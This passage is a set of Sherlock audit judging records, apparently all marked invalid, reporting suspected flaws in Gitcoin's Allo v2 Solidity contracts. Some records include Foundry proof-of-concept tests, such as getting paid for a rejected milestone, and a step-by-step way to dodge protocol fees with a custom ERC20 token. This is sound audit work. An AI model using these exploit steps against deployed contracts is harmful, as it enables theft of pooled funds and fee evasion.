`QVSimpleStrategy`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/549.md"}} +{"title":"RFPSimpleStrategy","severity":"info","body":"Great Grape Jay\n\nhigh\n\n# RFPSimpleStrategy\n\nIn [`RFPSimpleStrategy.sol`](), rejected milestones continue to result in payouts even if they have been rejected. This issue occurs because a `Milestone`'s `milestoneStatus` is only ever assigned to, but never actually read back again in the process of validating a payout.\n\n## Vulnerability Detail\n\nThe `PoolManager` role is expected to evaluate submitted milestones and determine which (and their corresponding payouts) are accepted on the roadmap. This activity necessitates the ability for `PoolManager`s to reject a milestone - for instances where a proposed milestone is undesirable or even malicious. For example, a milestone could request to command an egregious payout which seeks to drain the entire pool of funds upon acceptance. \n\nWhen rejecting a milestone, however, the rejected milestone [still persists inside the array of `milestones`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L287) submitted by the `acceptedRecipientId`. It is never deleted. During distribution, milestones are processed consecutively and cannot be modified after the first milestone has been committed to - this allows the rejected milestone to continue to be considered as a payable checkpoint during distribution.\n\nThe resulting impact is when a milestone has been rejected, it will continue to be processed and generate payouts in order to satisfy the iteration logic and continue progression onto the accepted milestones. To add insult to injury, the rejected milestone's `milestoneStatus` is then [erroneously overwritten to `Accepted` via a side-effect](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L442).\n\n## Impact\n\nAny milestone submitted by an `acceptedRecipientId` will be redeemed, even if they have been rejected by a `PoolManager`.\n\n## Code Snippet\n\nThe unaltered vulnerable flow is provided below. Remember here, that `milestones[upcomingMilestone]` may have been successfully rejected by the `PoolManager` in a previous transaction:\n\n```solidity\n /// @notice Distribute the upcoming milestone to acceptedRecipientId.\n /// @dev '_sender' must be a pool manager to distribute.\n /// @param _sender The sender of the distribution\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n\nBelow, we provide an executable proof of concept of this flaw.\n\nThis is a combination of [`_register_allocate_submit_distribute`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/test/foundry/strategies/RFPSimpleStrategy.t.sol#L530) functionality and [`test_getPayouts`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/test/foundry/strategies/RFPSimpleStrategy.t.sol#L141), which together demonstrate successful a payout. In our malicious test, `test_exploit_getPayouts`, we see that even though the milestone has been successfully rejected, the test passes successfully - indicating that it has resulted in a bounty:\n\n```solidity\n function test_exploit_getPayouts() public {\n // begin _register_allocate_submit_distribute\n address recipientId = __register_setMilestones_allocate_submitUpcomingMilestone();\n vm.deal(pool_admin(), 1e19);\n\n vm.prank(pool_admin());\n allo().fundPool{value: 1e19}(poolId, 1e19);\n // end _register_allocate_submit_distribute\n\n // begin reject\n vm.prank(pool_admin());\n strategy.rejectMilestone(0);\n RFPSimpleStrategy.Milestone memory milestone = strategy.getMilestone(0);\n assertEq(uint8(milestone.milestoneStatus), uint8(IStrategy.Status.Rejected));\n // end reject\n\n // begin test_getPayouts\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n\n IStrategy.PayoutSummary[] memory payouts = strategy.getPayouts(new address[](0), new bytes[](0));\n assertEq(payouts[0].amount, 1e18);\n assertEq(payouts[0].recipientAddress, recipientAddress());\n // end test_getPayouts\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nWhen distributing funds, first validate the `milestoneStatus`. If it is `Rejected`, continue iterating to the next valid milestone in the sequence.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/545.md"}} +{"title":"Potential DoS Attack Vector in `RFPSimpleStrategy:withdraw`","severity":"info","body":"Glamorous Amber Trout\n\nmedium\n\n# Potential DoS Attack Vector in `RFPSimpleStrategy:withdraw`\nThe bug in the `RFPSimpleStrategy:withdraw` function allows a potential denial-of-service (DoS) attack if PoolManager pass a 0 amount again and again.\n\n## Vulnerability Detail\nPoolManager can repeatedly call `RFPSimpleStrategy:withdraw` with 0 amounts, consuming gas resources and potentially causing network congestion. \n\nSame bug is also belong in DonationVotingMerkleDistributionBaseStrategy:withdraw\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394\n\n## Impact\nPoolManager can exploit this vulnerability to consume excessive gas resources, leading to higher gas fees and transaction delays. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295\n```solidity\nfunction withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount -= _amount; //@audit dos attack could be happen by calling 0 value again and again\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n }\n ```\n\n## Tool used\nManual Review\n\n## Recommendation\nThe function should include a check to ensure that _amount is greater than 0.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/544.md"}} +{"title":"` _qv_allocate` doesn't check `_recipientstatus`","severity":"info","body":"Rhythmic Marigold Jay\n\nhigh\n\n# ` _qv_allocate` doesn't check `_recipientstatus`\nQvBaseStrategy# ` _qv_allocate` doesn't check `_recipientstatus` ,\n## Vulnerability Detail\n` _qv_allocate` is to allocate voice credits to a recipient, once allocated, the amount of funds to distribute is known. \nThe issue is `_qv_allocate` don't check recipent status.\nIn `_distribte` , we check `_isAcceptedRecipient(recipientId) ` make sure _recipientstatus equlas status accept.\n```solidity\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n```\n\nDue to the payout calculate method , every allocated recipent should have a percentage payout, if a not accepted status recipient get allocated , some part of fund will get stuck in contract.\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n \n ``` \n \n## Impact\nFund cannot fully distribute.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n## Tool used\n\nManual Review\n\n## Recommendation\n\nadd status check in ` _qv_allocate`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/543.md"}} +{"title":"User must send extra funds to create a pool in Allo.sol","severity":"info","body":"Proper Fossilized Sardine\n\nmedium\n\n# User must send extra funds to create a pool in Allo.sol\nIn order to create a pool in `Allo.sol` a `baseFee` must be paid. However, the way the contract is currently coded if the user attempts to create a pool sending the exact required amount the transaction will revert.\n\n## Vulnerability Detail\n\nSee the code block below, which can be found in `Allo::_createPool()`\n\n```Solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n // @audit - users have to send more msg.value than the baseFee. Should be \">\" not \">=\"\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n}\n```\n\nThe if statement shown above requires the `msg.value` to be greater than the `baseFee`, meaning that the users have to send more value than required by the protocol. Running the test below in `Allo.t.sol` will further illustrate this.\n\n```Solidity\nfunction test_createPoolWithBaseFee() public {\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.expectEmit(true, false, false, true);\n emit BaseFeePaid(1, baseFee);\n\n vm.deal(address(pool_admin()), 1e18);\n\n vm.prank(pool_admin());\n // @audit - changed value being sent to the exact baseFee amount\n allo().createPoolWithCustomStrategy{value: baseFee}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n}\n```\n\nThe test above will revert with the expected error `NOT_ENOUGH_FUNDS()` even though the user sent the required baseFee amount.\n\n## Impact\n\nThis will result in users having their transactions reverted when using the `Allo` contract correctly. Furthermore, the users will have to send more than the required amount to create a pool.\n\nThis issue has been listed as a Medium. The likelihood is high, however the impact is low since users could just send an extra wei to get their transactions through.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n\n## Tool used\n\nManual Review & Foundry\n\n## Recommendation\n\nRemove the following line of code:\n\n```Solidity\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```\n\nand replace it with:\n\n```Solidity\nif ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/542.md"}} +{"title":"QV Strategy has no receive() function","severity":"info","body":"Boxy Clay Ladybug\n\nhigh\n\n# QV Strategy has no receive() function\nThe QV strategy Base and Simple contracts don't implement a `receive()` function\n## Vulnerability Detail\nWhen creating a pool `_fundPool()` is invoked to credit the percent fee to Allo and to credit the remaining funds to the underlying strategy. The issue is that `QVBaseStrategy` & `QVSimpleStrategy` don't implement a `receive()` function and therefore these strategies become unusable with the `Native` token ( for example `RFPSimpleStrategy` does implement a receive() ).\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n // code ... \n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n## Impact\nQV strategy is nonfunctional with `Native` token\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L30C1-L575C2\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a `receive()` function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/541.md"}} +{"title":"Allo always overcharges basefee","severity":"info","body":"Lively Mauve Ant\n\nhigh\n\n# Allo always overcharges basefee\nThe createPool in allo fails when creating pool with the exact base fee amount thereby expecting at least more than one of the basefee\n## Vulnerability Detail\nThe createPool in allo fails when creating pool with the exact base fee amount there expecting at least more than one of the basefee.\n```solidity\n function test_createPoolWithBaseFee() public {\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.deal(address(pool_admin()), 1e18);\n\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 1e17}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n }\n```\n## Impact\novercharges users of fee always\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473C3-L475C14\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)){\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/540.md"}} +{"title":"Pool deployer has to send more ETH than required to create a pool, while the surplus ether sent is most likely not returned to them , resulting permanent loss of funds","severity":"info","body":"Low Mandarin Wolverine\n\nmedium\n\n# Pool deployer has to send more ETH than required to create a pool, while the surplus ether sent is most likely not returned to them , resulting permanent loss of funds\nWhen a user creates a pool through `createPool()` in Allo.sol with `baseFee`, they will always have to send more native token (e.g.ETH) than required to pay for fees. However, the surplus ether is most likely lost to them permanently but harvested by someone else.\n## Vulnerability Detail\nThe vulnerability lies in the fact that `_createPool()` in Allo.sol enforces an over-restrictive check on `msg.value` will force users to overspend on the native token to pay for `baseFee`. In addition, there is no return of the enforced surplus ether later in the function. This results in surplus ether left in the pool whenever a pool has `baseFee` enabled.\n\n```solidity\n//Allo.sol\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n...\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n|> if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n...\n```\nAs seen above, the `if` and `revert` statement will ensure that when a user send just enough native token (`baseFee==msg.value` or `baseFee+_amount==msg.value` ), the transaction will always revert. To reconcile, users will always have to overspend and have surplus ether trapped in the pool.\n\nEven though, Allo.sol does have a fund recovery method `recoverFunds()`, this won't help either for two reasons: (1) `recoverFunds()` is separate from the `createPool` flow and can only be called by allo owner. This means that `recoverFunds()` is not going to be called as frequently as needed to recover every single user's surplus ether; (2) `recoverFunds()` will send the total balance of a given token to one person. This means the cumulative surplus ether from all the users over time will eventually go to a single beneficiary instead of individual users. \n\n```solidity\n//Allo.sol\n function recoverFunds(address _token, address _recipient) external onlyOwner {\n // Get the amount of the token to transfer, which is always the entire balance of the contract address\n uint256 amount = _token == NATIVE ? address(this).balance : IERC20Upgradeable(_token).balanceOf(address(this));\n\n // Transfer the amount to the recipient (pool owner)\n _transferAmount(_token, _recipient, amount);\n```\n## Impact\nUser will be forced to send surplus ether in order to create a pool, and their surplus ether will most likely not return to them, resulting in permanent loss of funds.\n\nI consider this a medium severity due to material loss of funds. \n\n## Code Snippet\n[https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L469-L477](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L469-L477)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nChange the `if` statement condition into `(_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)` Or return any surplus ether at the end of the `_createPool`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/539.md"}} +{"title":"RFPSimpleStrategy still distribute funds to rejected milestoneId","severity":"info","body":"Lively Mauve Ant\n\nhigh\n\n# RFPSimpleStrategy still distribute funds to rejected milestoneId\nRFPSimpleStrategy still distribute funds to rejected milestoneId\n## Vulnerability Detail\nRFPSimpleStrategy gives poolmanager the power to reject submitedUpcomingMilestone from acceptedRecipientId but calling distribute on the milestone id doesnā€™t check if it is rejected but still send out funds to the rejected milestone id and reset it to approved\n```solidity\n function test_distribute2() public {\n\n address recipientId = __register_setMilestones_allocate_submitUpcomingMilestone();\n vm.deal(pool_admin(), 1e19);\n\n vm.prank(pool_admin());\n allo().fundPool{value: 1e19}(poolId, 1e19);\n\n\n vm.prank(pool_admin());\n strategy.rejectMilestone(0);\n RFPSimpleStrategy.Milestone memory milestone = strategy.getMilestone(0);\n assertEq(uint8(milestone.milestoneStatus), uint8(IStrategy.Status.Rejected));\n\n\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n assertEq(uint8(strategy.getMilestoneStatus(0)), uint8(IStrategy.Status.Accepted));\n }\n```\n## Impact\nRejected Milestone doesnt change anything and malicious pool manager who might be acceptedRecipientId still takes away funds\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L283C1-L290C6\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417C4-L423C6\n## Tool used\n\nManual Review\n\n## Recommendation\ncheck if a milestone id is rejected in distribute.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/538.md"}} +{"title":"Pool funds can be locked permanently in QVBaseStrategy and QVSimpleStrategy","severity":"info","body":"Low Mandarin Wolverine\n\nhigh\n\n# Pool funds can be locked permanently in QVBaseStrategy and QVSimpleStrategy\nUnlike other strategy contracts, `QVBaseStrategy.sol` and `QVSimpleStrategy.sol` don't have a `withdraw()` function to allow the pool manager to recover funds after distribution. This leaves no methods to transfer the remaining funds out of the strategy contract, causing a permanent loss of funds.\n\n## Vulnerability Detail\nNotice in all other strategy contracts in scope, an external access-controlled `withdraw()` function is implemented to allow pool manager to take the remaining funds out after fund distribution. See an example below from `DonationVotingMerkleDistributionBaseStrategy.sol`.\n\n```solidity\n//DonationVotingMerkleDistributionBaseStrategy.sol\n /// @notice Withdraw funds from pool\n /// @dev This can only be called after the allocation has ended and 30 days have passed. If the\n /// '_amount' is greater than the pool amount or if 'msg.sender' is not a pool manager.\n /// @param _amount The amount to be withdrawn\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) {\n if (block.timestamp <= allocationEndTime + 30 days) {\n revert INVALID();\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n if (_amount > poolAmount) {\n revert INVALID();\n }\n\n poolAmount -= _amount;\n\n // Transfer the tokens to the 'msg.sender' (pool manager calling function)\n _transferAmount(pool.token, msg.sender, _amount);\n }\n```\nHowever, similar `withdraw()` is not implemented in `QVBaseStrategy.sol` and `QVSimpleStrategy.sol`. \n\nIn addition, QVBaseStrategy and QVSimpleStrategy implements a payout pattern for fund distribution that will in normal circumstance result in remaining fund post distribution. This is because `_getPayout()` will calculate amount of payout based on a percentage of votes a recipient received. This increases the chances for funds to be left in the pool. This is on top of the fact that a pool can funded independently from Allo.sol at any given time. In combination, i consider it a high chance funds will be locked in the pool post-distribution indefinitely.\n\n```solidity\n//QVBaseStrategy.sol\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\n\n## Impact\nPool funds can be locked permanently in both QVBaseStrategy and QVSimpleStrategy.\n\n## Code Snippet\n[https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574)\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd similar `withdraw()` function in QVBaseStrategy and QVSimpleStrategy.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/537.md"}} +{"title":"User can escape from paying fees when funding a pool","severity":"info","body":"Special Fiery Platypus\n\nhigh\n\n# User can escape from paying fees when funding a pool\nAny user can escape from paying fees when funding a pool by transferring a lot of times with low amounts.\n## Vulnerability Detail\nIn Allo.sol when a pool is funded a percent fee must be paid to the protocol. Currently, this is how it is calculated:\n```solidity\nfeeAmount = (_amount * percentFee) / getFeeDenominator();\n```\nTherefore, if the `amount * percentFee` is lower than `getFeeDenominator`(1e18), feeAmount would be equal to 0, due to rounding down. Even though the fee is 0 the transaction would be successful.\nFor example, if percentFee is 0.1% or 1e15, in order for the user to not pay any fees they would need to send an amount less than 1000. They could then initiate multiple transactions with a low enough fund amount in order to escape from paying any fees.\nThis would be even more problematic on chains where transaction gas costs are not high.\n## Impact\nAny user can escape from being feed when funding a pool.\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L509-L514\n```solidity\nif (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n}\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nRevert `fundPool` function if `feeAmount` is 0.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/533.md"}} +{"title":"Percentage Fee can be avoided when a pool uses an ERC20 token","severity":"info","body":"Breezy Seafoam Capybara\n\nhigh\n\n# Percentage Fee can be avoided when a pool uses an ERC20 token\nThe *percentage fee* charged by the Allo protocol when funding a pool can be avoided by a pool manager. The pool can be created with any ERC20 token and the percentage fee is collected as this token. A pool manager can create a pool with a custom ERC20 that implements transfers to succeed but not actually perform a transfer if the recipient is the Allo treasury.\n\n## Vulnerability Detail\nSteps to produce:\n1. Create an ERC20 token contract that skips transfers if recipient == Allo.treasury\n2. Create a pool that uses this ERC20 token\n3. Call `fundPool()` of any approved amount\n4. Only `amountAfterFee` will be transferred and treasury balance does not increase\n\n## Impact\nThis breaks functionality of the Allo protocol and can result in a large loss of protocol revenue. This only impacts the admin of the Allo protocol and not other pools, pool managers, or participants in a pool.\n\n## Code Snippet\n\n`pool.token` can be set in `createPool()` to any address. No checks exist in `_fundPool()` to ensure `percentFee` is actually collected.\n\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L513\n\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nSome possible mitigations:\n- `percentFee` can be collected as a native token, similar to `baseFee`. This would require an oracle to determine the value of any arbitrary ERC20 token\n- A list a pre-approved, trusted ERC20 tokens could be added which pool managers must choose from\n- `_fundPool()` could check the balance of `Allo.sol` in the ERC20 token before and after collection to ensure the fee was collected properly, instead of only relying on the successful return of `_transferAmountFrom`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/532.md"}} +{"title":"Users have to pay bigger fees than the `baseFee` amount","severity":"info","body":"Special Fiery Platypus\n\nmedium\n\n# Users have to pay bigger fees than the `baseFee` amount\nUsers have to pay bigger fees than the `baseFee` amount.\n## Vulnerability Detail\nIn Allo.sol when a user creates a pool, a base fee of ETH must be paid. Currently in order to check whether the user, creating the pool, has sent enough funds the following check is made: \n```solidity\n(_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)\n```\nTherefore the msg.value that the user sends must be more than the `baseFee` required by the protocol.\n## Impact\nThe issue will not be an extreme financial problem for the user, as they would need to just send one more Wei, but would cause an inconvenience where the `createPool` function would fail even if the caller has provided the exact amount of base fees required by the protocol.\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L473-L475\n```solidity\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nUse `>` instead of `>=` when checking whether the user, creating the pool, has sent enough funds.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/530.md"}} +{"title":"If the `baseFee` is configured and the pool's token is `NATIVE`, the pool creator is forced to send more tokens apart the tokens needed to fund the pool","severity":"info","body":"Brief Mahogany Tiger\n\nmedium\n\n# If the `baseFee` is configured and the pool's token is `NATIVE`, the pool creator is forced to send more tokens apart the tokens needed to fund the pool\n\nThe pool's creator needs to send more tokens in the pool creation, apart the tokens needed to fund the pool, when the baseFee is configured and the pool's token is `NATIVE` causing that the `pool creator` to lose the surplus sent amount.\n\n## Vulnerability Detail\n\nThe [Allo::_createPool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415) is used to create a pool. The function receives the [_amount](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L420) parameter which is the token to be deposited into the pool. The problem is that when the `baseFee` is configured, the function validates that the user send more tokens than the needed, the [code line 473](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473C13-L473C120) evaluates that the user needs to send more `msg.value` when the token is native:\n\n```solidity\nFile: Allo.sol\n415: function _createPool(\n416: bytes32 _profileId,\n417: IStrategy _strategy,\n418: bytes memory _initStrategyData,\n419: address _token,\n420: uint256 _amount,\n421: Metadata memory _metadata,\n422: address[] memory _managers\n423: ) internal returns (uint256 poolId) {\n...\n...\n...\n469: if (baseFee > 0) {\n470: // To prevent paying the baseFee from the Allo contract's balance\n471: // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n472: // If _token is not NATIVE, then baseFee should be >= than msg.value.\n473: if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n474: revert NOT_ENOUGH_FUNDS();\n475: }\n476: _transferAmount(NATIVE, treasury, baseFee);\n477: emit BaseFeePaid(poolId, baseFee);\n478: }\n479: \n480: if (_amount > 0) {\n481: _fundPool(_amount, poolId, _strategy);\n482: }\n483: \n484: emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n485: }\n```\n\nI created a test where the pool's token is `NATIVE` and the `baseFee` is configured to `1e17`. Then the user wants to create the pool and using NATIVE tokens to deposit into the pool (`1e18`). The `createPoolWithCustomStrategy()` will be reverted by `NOT_ENOUGH_FUNDS` error. The user needs to send the 1e18 + 1e17 + a surplus amount in order to create the pool. That is incorrect because the user will lost the surplus amount:\n\n```solidity\n// File: test/foundry/core/Allo.t.sol:AlloTest\n// $ forge test --match-test \"test_createPoolWithBaseFeeAndAmount\" -vvv\n//\n function test_createPoolWithBaseFeeAndAmount() public {\n // Pool creator needs to send more tokens in the creation process.\n 